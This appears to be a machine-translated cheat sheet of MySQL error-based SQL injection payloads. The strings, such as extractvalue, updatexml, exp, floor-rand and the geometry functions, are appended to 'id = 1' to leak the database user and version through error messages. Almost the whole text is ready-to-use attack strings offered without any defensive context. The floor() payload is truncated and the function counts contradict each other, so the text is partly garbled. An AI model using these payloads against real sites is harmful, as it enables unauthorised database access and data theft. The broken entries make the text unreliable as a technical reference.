~ All to check user () For example ~
1.floor ()
id = 1 and (select 1 from (SELECT COUNT (*), concat (version (), Floor (rand (0))) x from Information_schema.tables Group by X A
2.extractvalue ()
id = 1 and (Extractvalue (1, concat (0x5c, (select User ()))))
3.updatexml ()
id = 1 and (Updatexml (0x3a,concat (1, (select User ())), 1))
4.exp ()
ID =1 and EXP (~ (SELECT * FROM (select User ()) a))
5. There are six kinds of functions (but in general can be categorized as a category)
GeometryCollection ()
id = 1 and geometrycollection ((SELECT * FROM (select User () a) b))
Polygon ()
ID =1 and Polygon ((SELECT * FROM (select User () a) b))
Multipoint ()
id = 1 and multipoint ((SELECT * FROM (select User () a) b))
Multilinestring ()
id = 1 and multilinestring ((SELECT * FROM (select User () a) b))
Linestring ()
id = 1 and LINESTRING ((SELECT * FROM (select User () a) b))
Multipolygon ()
ID =1 and Multipolygon ((SELECT * FROM (select User () a) b))
Five big error injection functions for SQL injection